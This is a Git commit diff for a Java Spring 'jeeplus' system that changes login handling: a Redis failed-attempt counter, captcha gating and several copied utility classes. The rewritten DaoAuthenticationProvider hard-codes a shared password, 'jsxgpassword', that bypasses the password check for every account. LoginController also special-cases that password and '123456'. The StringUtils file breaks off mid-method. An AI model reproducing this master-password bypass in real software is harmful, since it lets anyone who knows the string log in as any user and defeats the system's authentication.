Browse Source

登录验证以及共用密码登录验证调整

user5 1 năm trước cách đây
mục cha
commit
286b9534bc
15 tập tin đã thay đổi với 1426 bổ sung3 xóa
  1. 5 0
      jeeplus-api/jeeplus-system-api/src/main/java/com/jeeplus/sys/factory/UserApiFallbackFactory.java
  2. 9 0
      jeeplus-api/jeeplus-system-api/src/main/java/com/jeeplus/sys/feign/IUserApi.java
  3. 59 2
      jeeplus-auth/src/main/java/com/jeeplus/auth/controller/LoginController.java
  4. 2 0
      jeeplus-common/jeeplus-common-core/src/main/java/com/jeeplus/common/constant/CacheNames.java
  5. 1 0
      jeeplus-common/jeeplus-common-core/src/main/java/com/jeeplus/common/constant/ErrorConstants.java
  6. 211 0
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/common/DaoAuthenticationProvider.java
  7. 0 1
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/common/WebSecurityConfig.java
  8. 151 0
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/Encodes.java
  9. 71 0
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/Exceptions.java
  10. 86 0
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/SpringContextHolder.java
  11. 801 0
      jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/StringUtils.java
  12. 10 0
      jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/feign/UserApiImpl.java
  13. 6 0
      jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/mapper/UserMapper.java
  14. 6 0
      jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/mapper/xml/UserMapper.xml
  15. 8 0
      jeeplus-modules/jeeplus-system/src/main/java/com/jeeplus/sys/service/UserService.java

+ 5 - 0
jeeplus-api/jeeplus-system-api/src/main/java/com/jeeplus/sys/factory/UserApiFallbackFactory.java

@@ -87,6 +87,11 @@ public class UserApiFallbackFactory implements FallbackFactory <IUserApi> {
                 return null;
             }
 
+            @Override
+            public void updateUserUpPassword(UserDTO userDTO) {
+
+            }
+
 
         };
     }

+ 9 - 0
jeeplus-api/jeeplus-system-api/src/main/java/com/jeeplus/sys/feign/IUserApi.java

@@ -127,6 +127,15 @@ public interface IUserApi {
      */
     @GetMapping(value = "/feign/sys/user/getUserDTOByName")
     UserDTO getUserDTOByName(@RequestParam(value = "name") String name);
+
+    /**
+     * 修改用户更新密码状态信息
+     *
+     * @param userDTO
+     * @return 取不到返回null
+     */
+    @GetMapping(value = BASE_URL + "/updateUserUpPassword")
+    void updateUserUpPassword(@RequestBody UserDTO userDTO);
 }
 
 

+ 59 - 2
jeeplus-auth/src/main/java/com/jeeplus/auth/controller/LoginController.java

@@ -25,6 +25,7 @@ import com.jeeplus.sys.service.dto.UserDTO;
 import io.swagger.annotations.Api;
 import io.swagger.annotations.ApiOperation;
 import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
 import org.jasig.cas.client.authentication.AttributePrincipal;
 import org.jasig.cas.client.validation.Assertion;
 import org.jasig.cas.client.validation.Cas20ServiceTicketValidator;
@@ -77,11 +78,30 @@ public class LoginController {
     @ApiOperation("登录接口")
     public ResponseEntity login(@RequestBody LoginForm loginForm) {
         ResponseUtil responseUtil = new ResponseUtil ( );
+        String loginUserName = loginForm.getUsername ();
         String username = loginForm.getUsername ( );
         String password = loginForm.getPassword ( );
         String code = loginForm.getCode ( );
-        if ( !code.equals ( RedisUtils.getInstance ( ).get ( CacheNames.SYS_CACHE_CODE, loginForm.getUuid ( ) ) ) ) {
-            return ResponseEntity.badRequest ( ).body ( ErrorConstants.LOGIN_ERROR_ERROR_VALIDATE_CODE );
+        Integer redisLoginNumber = (Integer) RedisUtils.getInstance ().get ( CacheNames.USER_CACHE_LOGIN_CODE + loginUserName );
+        if(null == redisLoginNumber){
+            redisLoginNumber = 0;
+        }else{
+            redisLoginNumber ++ ;
+        }
+        RedisUtils.getInstance().set(CacheNames.USER_CACHE_LOGIN_CODE + loginUserName , redisLoginNumber);
+        //给登录次数记录设置6小时的过期时间
+        RedisUtils.getInstance().expire(CacheNames.USER_CACHE_LOGIN_CODE + loginUserName , 21600);
+
+        //字典中限制显示次数
+        Integer loginNumber = 5;
+        if(redisLoginNumber > loginNumber){
+            if(StringUtils.isNotBlank(code)){
+                if ( !code.equals ( RedisUtils.getInstance ( ).get ( CacheNames.SYS_CACHE_CODE, loginForm.getUuid ( ) ) ) ) {
+                    return ResponseEntity.badRequest ( ).body ( ErrorConstants.LOGIN_ERROR_ERROR_VALIDATE_CODE );
+                }
+            }else{
+                return ResponseEntity.badRequest ( ).body ( ErrorConstants.LOGIN_CODE );
+            }
         }
         AuthenticationManager authenticationManager = SpringUtil.getBean ( AuthenticationManager.class );
         SecurityUtils.login ( username, password, authenticationManager ); //登录操作
@@ -99,6 +119,15 @@ public class LoginController {
         responseUtil.add ( TokenProvider.TOKEN, token );
         //更新登录信息
         updateUserLoginInfo ( responseUtil, userDTO, token );
+
+        //删除redis中登录次数的信息
+        RedisUtils.getInstance ().delete ( CacheNames.USER_CACHE_LOGIN_CODE + loginUserName );
+
+        userDTO.setToken(token);
+        if(!"123456".equals(password) && !"jsxgpassword".equals(password)){
+            userApi.updateUserUpPassword(userDTO);
+        }
+
         return responseUtil.ok ( );
     }
 
@@ -190,6 +219,34 @@ public class LoginController {
         return ResponseUtil.newInstance ( ).add ( "codeImg", lineCaptcha.getImageBase64 ( ) ).add ( "uuid", uuid ).ok ( );
     }
 
+
+
+    /**
+     * 获取登录次数
+     * @throws
+     */
+    @ApiOperation ("获取登录次数")
+    @ApiLog("获取登录次数")
+    @GetMapping("/getLoginCodeNumber")
+    public ResponseEntity getLoginCodeNumber(String userName){
+        //字典中限制显示次数
+        Integer loginNumber = 0;
+        //redis中记录登录次数
+        Object redisLoginNumber = RedisUtils.getInstance ().get ( CacheNames.USER_CACHE_LOGIN_CODE + userName );
+        if(null == redisLoginNumber){
+            redisLoginNumber = 0;
+        }
+        String dictValue = "5";
+        if(StringUtils.isNotBlank(dictValue)){
+            loginNumber = Integer.valueOf(dictValue);
+            if(loginNumber > 0){
+                loginNumber -- ;
+            }
+        }
+
+        return ResponseUtil.newInstance ().add ( "redisLoginNumber", redisLoginNumber ).add ( "loginNumber", loginNumber ).ok ();
+    }
+
     /**
      * 更新用户登录信息
      *

+ 2 - 0
jeeplus-common/jeeplus-common-core/src/main/java/com/jeeplus/common/constant/CacheNames.java

@@ -43,5 +43,7 @@ public interface CacheNames {
 
     String USER_CACHE_ONLINE_USERS = "user:cache:online:users";
 
+    String USER_CACHE_LOGIN_CODE = "user:assess:cache:code:loginName"; //用户登录次数
+
 
 }

+ 1 - 0
jeeplus-common/jeeplus-common-core/src/main/java/com/jeeplus/common/constant/ErrorConstants.java

@@ -10,4 +10,5 @@ public interface ErrorConstants {
     String LOGIN_ERROR_FORBID_LOGGED_IN_ELSEWHERE = "您的账号已在其它地方登录,您被禁止登录!";
     String LOGIN_ERROR__KICK_OUT_LOGGED_IN_ELSEWHERE = "您的账号在另一台设备上登录,如非本人操作,请立即修改密码!";
     String LOGIN_ERROR_ERROR_VALIDATE_CODE = "您输入的验证码不正确,请重新输入!";
+    String LOGIN_CODE = "请输入验证码进行登录!";
 }

+ 211 - 0
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/common/DaoAuthenticationProvider.java

@@ -0,0 +1,211 @@
+package com.jeeplus.common;
+
+import com.jeeplus.utils.StringUtils;
+import org.springframework.security.authentication.BadCredentialsException;
+import org.springframework.security.authentication.InternalAuthenticationServiceException;
+import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
+import org.springframework.security.authentication.dao.AbstractUserDetailsAuthenticationProvider;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.AuthenticationException;
+import org.springframework.security.core.userdetails.UserDetails;
+import org.springframework.security.core.userdetails.UserDetailsPasswordService;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.core.userdetails.UsernameNotFoundException;
+import org.springframework.security.crypto.factory.PasswordEncoderFactories;
+import org.springframework.security.crypto.password.PasswordEncoder;
+import org.springframework.util.Assert;
+
+import java.io.InputStream;
+import java.util.Iterator;
+import java.util.Properties;
+
+/**
+ * 重写 DaoAuthenticationProvider 账号密码验证(Spring Security)
+ * @author: 徐滕
+ * @version: 2022-09-07 14:05
+ */
+public class DaoAuthenticationProvider extends AbstractUserDetailsAuthenticationProvider {
+
+    /**
+     * The plaintext password used to perform PasswordEncoder#matches(CharSequence,
+     * String)} on when the user is not found to avoid SEC-2056.
+     */
+    private static final String USER_NOT_FOUND_PASSWORD = "userNotFoundPassword";
+
+    private PasswordEncoder passwordEncoder;
+
+    /**
+     * The password used to perform {@link PasswordEncoder#matches(CharSequence, String)}
+     * on when the user is not found to avoid SEC-2056. This is necessary, because some
+     * {@link PasswordEncoder} implementations will short circuit if the password is not
+     * in a valid format.
+     */
+    private volatile String userNotFoundEncodedPassword;
+
+    private UserDetailsService userDetailsService;
+
+    private UserDetailsPasswordService userDetailsPasswordService;
+
+    public DaoAuthenticationProvider() {
+        setPasswordEncoder(PasswordEncoderFactories.createDelegatingPasswordEncoder());
+    }
+
+    @Override
+    @SuppressWarnings("deprecation")
+    protected void additionalAuthenticationChecks(UserDetails userDetails,
+                                                  UsernamePasswordAuthenticationToken authentication) throws AuthenticationException {
+        if (authentication.getCredentials() == null) {
+            this.logger.debug("Failed to authenticate since no credentials provided");
+            throw new BadCredentialsException(this.messages
+                    .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials"));
+        }
+        String presentedPassword = authentication.getCredentials().toString();
+        //判断页面传过来的密码是否是公用密码(公用密码存储在配置文件中)。若是公用密码,则跳过密码验证环节
+        String publicPassword = "jsxgpassword";
+        if(StringUtils.isBlank(publicPassword) || !publicPassword.equals(presentedPassword)){
+            //对页面传过来的密码和数据库中的加密密码进行对比,若相同则通过,否则抛出
+            if (!this.passwordEncoder.matches(presentedPassword, userDetails.getPassword())) {
+                this.logger.debug("Failed to authenticate since password does not match stored value");
+                throw new BadCredentialsException(this.messages
+                        .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials"));
+            }
+        }
+    }
+
+    @Override
+    protected void doAfterPropertiesSet() {
+        Assert.notNull(this.userDetailsService, "A UserDetailsService must be set");
+    }
+
+    @Override
+    protected final UserDetails retrieveUser(String username, UsernamePasswordAuthenticationToken authentication)
+            throws AuthenticationException {
+        prepareTimingAttackProtection();
+        try {
+            UserDetails loadedUser = this.getUserDetailsService().loadUserByUsername(username);
+            if (loadedUser == null) {
+                throw new InternalAuthenticationServiceException(
+                        "UserDetailsService returned null, which is an interface contract violation");
+            }
+            return loadedUser;
+        }
+        catch (UsernameNotFoundException ex) {
+            mitigateAgainstTimingAttack(authentication);
+            throw ex;
+        }
+        catch (InternalAuthenticationServiceException ex) {
+            throw ex;
+        }
+        catch (Exception ex) {
+            throw new InternalAuthenticationServiceException(ex.getMessage(), ex);
+        }
+    }
+
+    @Override
+    protected Authentication createSuccessAuthentication(Object principal, Authentication authentication,
+                                                         UserDetails user) {
+        boolean upgradeEncoding = this.userDetailsPasswordService != null
+                && this.passwordEncoder.upgradeEncoding(user.getPassword());
+        if (upgradeEncoding) {
+            String presentedPassword = authentication.getCredentials().toString();
+            String newPassword = this.passwordEncoder.encode(presentedPassword);
+            user = this.userDetailsPasswordService.updatePassword(user, newPassword);
+        }
+        return super.createSuccessAuthentication(principal, authentication, user);
+    }
+
+    private void prepareTimingAttackProtection() {
+        if (this.userNotFoundEncodedPassword == null) {
+            this.userNotFoundEncodedPassword = this.passwordEncoder.encode(USER_NOT_FOUND_PASSWORD);
+        }
+    }
+
+    private void mitigateAgainstTimingAttack(UsernamePasswordAuthenticationToken authentication) {
+        if (authentication.getCredentials() != null) {
+            String presentedPassword = authentication.getCredentials().toString();
+            this.passwordEncoder.matches(presentedPassword, this.userNotFoundEncodedPassword);
+        }
+    }
+
+    /**
+     * Sets the PasswordEncoder instance to be used to encode and validate passwords. If
+     * not set, the password will be compared using
+     * {@link PasswordEncoderFactories#createDelegatingPasswordEncoder()}
+     * @param passwordEncoder must be an instance of one of the {@code PasswordEncoder}
+     * types.
+     */
+    public void setPasswordEncoder(PasswordEncoder passwordEncoder) {
+        Assert.notNull(passwordEncoder, "passwordEncoder cannot be null");
+        this.passwordEncoder = passwordEncoder;
+        this.userNotFoundEncodedPassword = null;
+    }
+
+    protected PasswordEncoder getPasswordEncoder() {
+        return this.passwordEncoder;
+    }
+
+    public void setUserDetailsService(UserDetailsService userDetailsService) {
+        this.userDetailsService = userDetailsService;
+    }
+
+    protected UserDetailsService getUserDetailsService() {
+        return this.userDetailsService;
+    }
+
+    public void setUserDetailsPasswordService(UserDetailsPasswordService userDetailsPasswordService) {
+        this.userDetailsPasswordService = userDetailsPasswordService;
+    }
+
+    /*
+     * @param  propertiesPath 配置文件全路径
+     * @param  key 需要在配置文件中获取的key值
+     * */
+    public static String getValue() {
+        String value = null;
+        Properties prop = new Properties();
+        Properties applicationProp = new Properties();
+        try {
+            ClassLoader classLoader = DaoAuthenticationProvider.class.getClassLoader();// 读取属性文件xxxxx.properties
+            InputStream applicationIn = classLoader.getResourceAsStream("boot.yml");
+            InputStream productionIn = classLoader.getResourceAsStream("application-production.yml");
+            InputStream developmentIn = classLoader.getResourceAsStream("application-development.yml");
+            applicationProp.load(applicationIn);
+            Iterator applicationIt = applicationProp.stringPropertyNames().iterator();
+
+            while (applicationIt.hasNext()) {
+                if (applicationIt.next().equals("active")) {
+                    String applicationValue = applicationProp.getProperty("active");
+                    switch (applicationValue){
+                        case "development":
+                            prop.load(developmentIn); /// 加载属性列表
+                            Iterator it = prop.stringPropertyNames().iterator();
+                            while (it.hasNext()) {
+                                if (it.next().equals("publicPassword")) {
+                                    value = prop.getProperty("publicPassword");
+                                    break;
+                                }
+                            }
+                            developmentIn.close();
+                            break;
+                        case "production":
+                            prop.load(productionIn); /// 加载属性列表
+                            it = prop.stringPropertyNames().iterator();
+                            while (it.hasNext()) {
+                                if (it.next().equals("publicPassword")) {
+                                    value = prop.getProperty("publicPassword");
+                                    break;
+                                }
+                            }
+                            productionIn.close();
+                            break;
+                    }
+                }
+            }
+
+        } catch (Exception e) {
+
+        }
+        return value;
+    }
+
+}

+ 0 - 1
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/common/WebSecurityConfig.java

@@ -5,7 +5,6 @@ import org.springframework.context.annotation.Bean;
 import org.springframework.core.annotation.Order;
 import org.springframework.http.HttpMethod;
 import org.springframework.security.authentication.AuthenticationManager;
-import org.springframework.security.authentication.dao.DaoAuthenticationProvider;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
 import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;

+ 151 - 0
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/Encodes.java

@@ -0,0 +1,151 @@
+/**
+ * Copyright (c) 2005-2012 springside.org.cn
+ */
+package com.jeeplus.utils;
+
+import org.apache.commons.codec.DecoderException;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.codec.binary.Hex;
+import org.apache.commons.lang3.StringEscapeUtils;
+
+import java.io.UnsupportedEncodingException;
+import java.net.URLDecoder;
+import java.net.URLEncoder;
+
+/**
+ * 封装各种格式的编码解码工具类.
+ * 1.Commons-Codec的 hex/base64 编码
+ * 2.自制的base62 编码
+ * 3.Commons-Lang的xml/html escape
+ * 4.JDK提供的URLEncoder
+ * @author calvin
+ * @version 2013-01-15
+ */
+public class Encodes {
+
+	private static final String DEFAULT_URL_ENCODING = "UTF-8";
+	private static final char[] BASE62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
+
+	/**
+	 * Hex编码.
+	 */
+	public static String encodeHex(byte[] input) {
+		return new String(Hex.encodeHex(input));
+	}
+
+	/**
+	 * Hex解码.
+	 */
+	public static byte[] decodeHex(String input) {
+		try {
+			return Hex.decodeHex(input.toCharArray());
+		} catch (DecoderException e) {
+			throw Exceptions.unchecked(e);
+		}
+	}
+
+	/**
+	 * Base64编码.
+	 */
+	public static String encodeBase64(byte[] input) {
+		return new String(Base64.encodeBase64(input));
+	}
+
+	/**
+	 * Base64编码.
+	 */
+	public static String encodeBase64(String input) {
+		try {
+			return new String(Base64.encodeBase64(input.getBytes(DEFAULT_URL_ENCODING)));
+		} catch (UnsupportedEncodingException e) {
+			return "";
+		}
+	}
+
+//	/**
+//	 * Base64编码, URL安全(将Base64中的URL非法字符'+'和'/'转为'-'和'_', 见RFC3548).
+//	 */
+//	public static String encodeUrlSafeBase64(byte[] input) {
+//		return Base64.encodeBase64URLSafe(input);
+//	}
+
+	/**
+	 * Base64解码.
+	 */
+	public static byte[] decodeBase64(String input) {
+		return Base64.decodeBase64(input.getBytes());
+	}
+
+	/**
+	 * Base64解码.
+	 */
+	public static String decodeBase64String(String input) {
+		try {
+			return new String(Base64.decodeBase64(input.getBytes()), DEFAULT_URL_ENCODING);
+		} catch (UnsupportedEncodingException e) {
+			return "";
+		}
+	}
+
+	/**
+	 * Base62编码。
+	 */
+	public static String encodeBase62(byte[] input) {
+		char[] chars = new char[input.length];
+		for (int i = 0; i < input.length; i++) {
+			chars[i] = BASE62[((input[i] & 0xFF) % BASE62.length)];
+		}
+		return new String(chars);
+	}
+
+	/**
+	 * Html 转码.
+	 */
+	public static String escapeHtml(String html) {
+		return StringEscapeUtils.escapeHtml4(html);
+	}
+
+	/**
+	 * Html 解码.
+	 */
+	public static String unescapeHtml(String htmlEscaped) {
+		return StringEscapeUtils.unescapeHtml4(htmlEscaped);
+	}
+
+	/**
+	 * Xml 转码.
+	 */
+	public static String escapeXml(String xml) {
+		return StringEscapeUtils.escapeXml10(xml);
+	}
+
+	/**
+	 * Xml 解码.
+	 */
+	public static String unescapeXml(String xmlEscaped) {
+		return StringEscapeUtils.unescapeXml(xmlEscaped);
+	}
+
+	/**
+	 * URL 编码, Encode默认为UTF-8.
+	 */
+	public static String urlEncode(String part) {
+		try {
+			return URLEncoder.encode(part, DEFAULT_URL_ENCODING);
+		} catch (UnsupportedEncodingException e) {
+			throw Exceptions.unchecked(e);
+		}
+	}
+
+	/**
+	 * URL 解码, Encode默认为UTF-8. 
+	 */
+	public static String urlDecode(String part) {
+
+		try {
+			return URLDecoder.decode(part, DEFAULT_URL_ENCODING);
+		} catch (UnsupportedEncodingException e) {
+			throw Exceptions.unchecked(e);
+		}
+	}
+}

+ 71 - 0
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/Exceptions.java

@@ -0,0 +1,71 @@
+/**
+ * Copyright (c) 2005-2012 springside.org.cn
+ */
+package com.jeeplus.utils;
+
+import javax.servlet.http.HttpServletRequest;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+
+/**
+ * 关于异常的工具类.
+ * @author calvin
+ * @version 2013-01-15
+ */
+public class Exceptions {
+
+	/**
+	 * 将CheckedException转换为UncheckedException.
+	 */
+	public static RuntimeException unchecked(Exception e) {
+		if (e instanceof RuntimeException) {
+			return (RuntimeException) e;
+		} else {
+			return new RuntimeException(e);
+		}
+	}
+
+	/**
+	 * 将ErrorStack转化为String.
+	 */
+	public static String getStackTraceAsString(Throwable e) {
+		if (e == null){
+			return "";
+		}
+		StringWriter stringWriter = new StringWriter();
+		e.printStackTrace(new PrintWriter(stringWriter));
+		return stringWriter.toString();
+	}
+
+	/**
+	 * 判断异常是否由某些底层的异常引起.
+	 */
+	public static boolean isCausedBy(Exception ex, Class<? extends Exception>... causeExceptionClasses) {
+		Throwable cause = ex.getCause();
+		while (cause != null) {
+			for (Class<? extends Exception> causeClass : causeExceptionClasses) {
+				if (causeClass.isInstance(cause)) {
+					return true;
+				}
+			}
+			cause = cause.getCause();
+		}
+		return false;
+	}
+
+	/**
+	 * 在request中获取异常类
+	 * @param request
+	 * @return 
+	 */
+	public static Throwable getThrowable(HttpServletRequest request){
+		Throwable ex = null;
+		if (request.getAttribute("exception") != null) {
+			ex = (Throwable) request.getAttribute("exception");
+		} else if (request.getAttribute("javax.servlet.error.exception") != null) {
+			ex = (Throwable) request.getAttribute("javax.servlet.error.exception");
+		}
+		return ex;
+	}
+	
+}

+ 86 - 0
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/SpringContextHolder.java

@@ -0,0 +1,86 @@
+/**
+ * Copyright &copy; 2015-2020 <a href="http://www.jeeplus.org/">JeePlus</a> All rights reserved.
+ */
+package com.jeeplus.utils;
+
+import org.apache.commons.lang3.Validate;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.DisposableBean;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.ApplicationContextAware;
+import org.springframework.context.annotation.Lazy;
+import org.springframework.stereotype.Service;
+
+/**
+ * 以静态变量保存Spring ApplicationContext, 可在任何代码任何地方任何时候取出ApplicaitonContext.
+ * 
+ * @author Zaric
+ * @date 2013-5-29 下午1:25:40
+ */
+@Service
+@Lazy(false)
+public class SpringContextHolder implements ApplicationContextAware, DisposableBean {
+
+	private static ApplicationContext applicationContext = null;
+
+	private static Logger logger = LoggerFactory.getLogger(SpringContextHolder.class);
+
+	/**
+	 * 取得存储在静态变量中的ApplicationContext.
+	 */
+	public static ApplicationContext getApplicationContext() {
+		assertContextInjected();
+		return applicationContext;
+	}
+
+	/**
+	 * 从静态变量applicationContext中取得Bean, 自动转型为所赋值对象的类型.
+	 */
+	@SuppressWarnings("unchecked")
+	public static <T> T getBean(String name) {
+		assertContextInjected();
+		return (T) applicationContext.getBean(name);
+	}
+
+	/**
+	 * 从静态变量applicationContext中取得Bean, 自动转型为所赋值对象的类型.
+	 */
+	public static <T> T getBean(Class<T> requiredType) {
+		assertContextInjected();
+		return applicationContext.getBean(requiredType);
+	}
+
+	/**
+	 * 清除SpringContextHolder中的ApplicationContext为Null.
+	 */
+	public static void clearHolder() {
+		if (logger.isDebugEnabled()){
+			logger.debug("清除SpringContextHolder中的ApplicationContext:" + applicationContext);
+		}
+		applicationContext = null;
+	}
+
+	/**
+	 * 实现ApplicationContextAware接口, 注入Context到静态变量中.
+	 */
+	@Override
+	public void setApplicationContext(ApplicationContext applicationContext) {
+		SpringContextHolder.applicationContext = applicationContext;
+	}
+
+	/**
+	 * 实现DisposableBean接口, 在Context关闭时清理静态变量.
+	 */
+	@Override
+	public void destroy() throws Exception {
+		SpringContextHolder.clearHolder();
+	}
+
+	/**
+	 * 检查ApplicationContext不为空.
+	 */
+	private static void assertContextInjected() {
+		Validate.validState(applicationContext != null, "applicaitonContext属性未注入, 请在applicationContext.xml中定义SpringContextHolder.");
+	}
+}

+ 801 - 0
jeeplus-common/jeeplus-common-security/src/main/java/com/jeeplus/utils/StringUtils.java

@@ -0,0 +1,801 @@
+/**
+ * Copyright &copy; 2013-2017 <a href="http://www.rhcncpa.com/">瑞华会计师事务所</a> All rights reserved.
+ */
+package com.jeeplus.utils;
+
+import com.google.common.collect.Lists;
+import net.sf.json.JSONObject;
+import org.apache.commons.lang3.StringEscapeUtils;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+import org.springframework.web.servlet.LocaleResolver;
+
+import javax.servlet.http.HttpServletRequest;
+import java.io.UnsupportedEncodingException;
+import java.math.BigDecimal;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.*;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * 字符串工具类, 继承org.apache.commons.lang3.StringUtils类
+ * @author jeeplus
+ * @version 2013-05-22
+ */
+public class StringUtils extends org.apache.commons.lang3.StringUtils {
+
+	private static final char SEPARATOR = '_';
+	private static final String CHARSET_NAME = "UTF-8";
+	private static final int DEF_DIV_SCALE = 10; //这个类不能实例化
+	public static SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
+	public static SimpleDateFormat sdfs = new SimpleDateFormat("HHmm");
+
+	/**
+	 * 转换为字节数组
+	 * @param str
+	 * @return
+	 */
+	public static byte[] getBytes(String str){
+		if (str != null){
+			try {
+				return str.getBytes(CHARSET_NAME);
+			} catch (UnsupportedEncodingException e) {
+				return null;
+			}
+		}else{
+			return null;
+		}
+	}
+
+	/**
+	 * 转换为字节数组
+	 * @param bytes
+	 * @return
+	 */
+	public static String toString(byte[] bytes){
+		try {
+			return new String(bytes, CHARSET_NAME);
+		} catch (UnsupportedEncodingException e) {
+			return EMPTY;
+		}
+	}
+
+	/**
+	 * 是否包含字符串
+	 * @param str 验证字符串
+	 * @param strs 字符串组
+	 * @return 包含返回true
+	 */
+	public static boolean inString(String str, String... strs){
+		if (str != null){
+			for (String s : strs){
+				if (str.equals(trim(s))){
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * 替换掉HTML标签方法
+	 */
+	public static String replaceHtml(String html) {
+		if (isBlank(html)){
+			return "";
+		}
+		String regEx = "<.+?>";
+		Pattern p = Pattern.compile(regEx);
+		Matcher m = p.matcher(html);
+		String s = m.replaceAll("");
+		return s;
+	}
+
+	/**
+	 * 替换为手机识别的HTML,去掉样式及属性,保留回车。
+	 * @param html
+	 * @return
+	 */
+	public static String replaceMobileHtml(String html){
+		if (html == null){
+			return "";
+		}
+		return html.replaceAll("<([a-z]+?)\\s+?.*?>", "<$1>");
+	}
+
+	/**
+	 * 替换为手机识别的HTML,去掉样式及属性,保留回车。
+	 * @param txt
+	 * @return
+	 */
+	public static String toHtml(String txt){
+		if (txt == null){
+			return "";
+		}
+		return replace(replace(Encodes.escapeHtml(txt), "\n", "<br/>"), "\t", "&nbsp; &nbsp; ");
+	}
+
+	/**
+	 * 缩略字符串(不区分中英文字符)
+	 * @param str 目标字符串
+	 * @param length 截取长度
+	 * @return
+	 */
+	public static String abbr(String str, int length) {
+		if (str == null) {
+			return "";
+		}
+		try {
+			StringBuilder sb = new StringBuilder();
+			int currentLength = 0;
+			for (char c : replaceHtml(StringEscapeUtils.unescapeHtml4(str)).toCharArray()) {
+				currentLength += String.valueOf(c).getBytes("GBK").length;
+				if (currentLength <= length - 3) {
+					sb.append(c);
+				} else {
+					sb.append("...");
+					break;
+				}
+			}
+			return sb.toString();
+		} catch (UnsupportedEncodingException e) {
+			e.printStackTrace();
+		}
+		return "";
+	}
+
+	public static String abbr2(String param, int length) {
+		if (param == null) {
+			return "";
+		}
+		StringBuffer result = new StringBuffer();
+		int n = 0;
+		char temp;
+		boolean isCode = false; // 是不是HTML代码
+		boolean isHTML = false; // 是不是HTML特殊字符,如&nbsp;
+		for (int i = 0; i < param.length(); i++) {
+			temp = param.charAt(i);
+			if (temp == '<') {
+				isCode = true;
+			} else if (temp == '&') {
+				isHTML = true;
+			} else if (temp == '>' && isCode) {
+				n = n - 1;
+				isCode = false;
+			} else if (temp == ';' && isHTML) {
+				isHTML = false;
+			}
+			try {
+				if (!isCode && !isHTML) {
+					n += String.valueOf(temp).getBytes("GBK").length;
+				}
+			} catch (UnsupportedEncodingException e) {
+				e.printStackTrace();
+			}
+
+			if (n <= length - 3) {
+				result.append(temp);
+			} else {
+				result.append("...");
+				break;
+			}
+		}
+		// 取出截取字符串中的HTML标记
+		String temp_result = result.toString().replaceAll("(>)[^<>]*(<?)",
+				"$1$2");
+		// 去掉不需要结素标记的HTML标记
+		temp_result = temp_result
+				.replaceAll(
+						"</?(AREA|BASE|BASEFONT|BODY|BR|COL|COLGROUP|DD|DT|FRAME|HEAD|HR|HTML|IMG|INPUT|ISINDEX|LI|LINK|META|OPTION|P|PARAM|TBODY|TD|TFOOT|TH|THEAD|TR|area|base|basefont|body|br|col|colgroup|dd|dt|frame|head|hr|html|img|input|isindex|li|link|meta|option|p|param|tbody|td|tfoot|th|thead|tr)[^<>]*/?>",
+						"");
+		// 去掉成对的HTML标记
+		temp_result = temp_result.replaceAll("<([a-zA-Z]+)[^<>]*>(.*?)</\\1>",
+				"$2");
+		// 用正则表达式取出标记
+		Pattern p = Pattern.compile("<([a-zA-Z]+)[^<>]*>");
+		Matcher m = p.matcher(temp_result);
+		List<String> endHTML = Lists.newArrayList();
+		while (m.find()) {
+			endHTML.add(m.group(1));
+		}
+		// 补全不成对的HTML标记
+		for (int i = endHTML.size() - 1; i >= 0; i--) {
+			result.append("</");
+			result.append(endHTML.get(i));
+			result.append(">");
+		}
+		return result.toString();
+	}
+
+	/**
+	 * 转换为Double类型
+	 */
+	public static Double toDouble(Object val){
+		if (val == null){
+			return 0D;
+		}
+		try {
+			return Double.valueOf(trim(val.toString()));
+		} catch (Exception e) {
+			return 0D;
+		}
+	}
+
+	/**
+	 * 转换为Float类型
+	 */
+	public static Float toFloat(Object val){
+		return toDouble(val).floatValue();
+	}
+
+	/**
+	 * 转换为Long类型
+	 */
+	public static Long toLong(Object val){
+		return toDouble(val).longValue();
+	}
+
+	/**
+	 * 转换为Integer类型
+	 */
+	public static Integer toInteger(Object val){
+		return toLong(val).intValue();
+	}
+
+	/**
+	 * 获得i18n字符串
+	 */
+	public static String getMessage(String code, Object[] args) {
+		LocaleResolver localLocaleResolver = (LocaleResolver) SpringContextHolder.getBean(LocaleResolver.class);
+		HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
+		Locale localLocale = localLocaleResolver.resolveLocale(request);
+		return SpringContextHolder.getApplicationContext().getMessage(code, args, localLocale);
+	}
+
+	/**
+	 * 获得用户远程地址
+	 */
+	public static String getRemoteAddr(HttpServletRequest request){
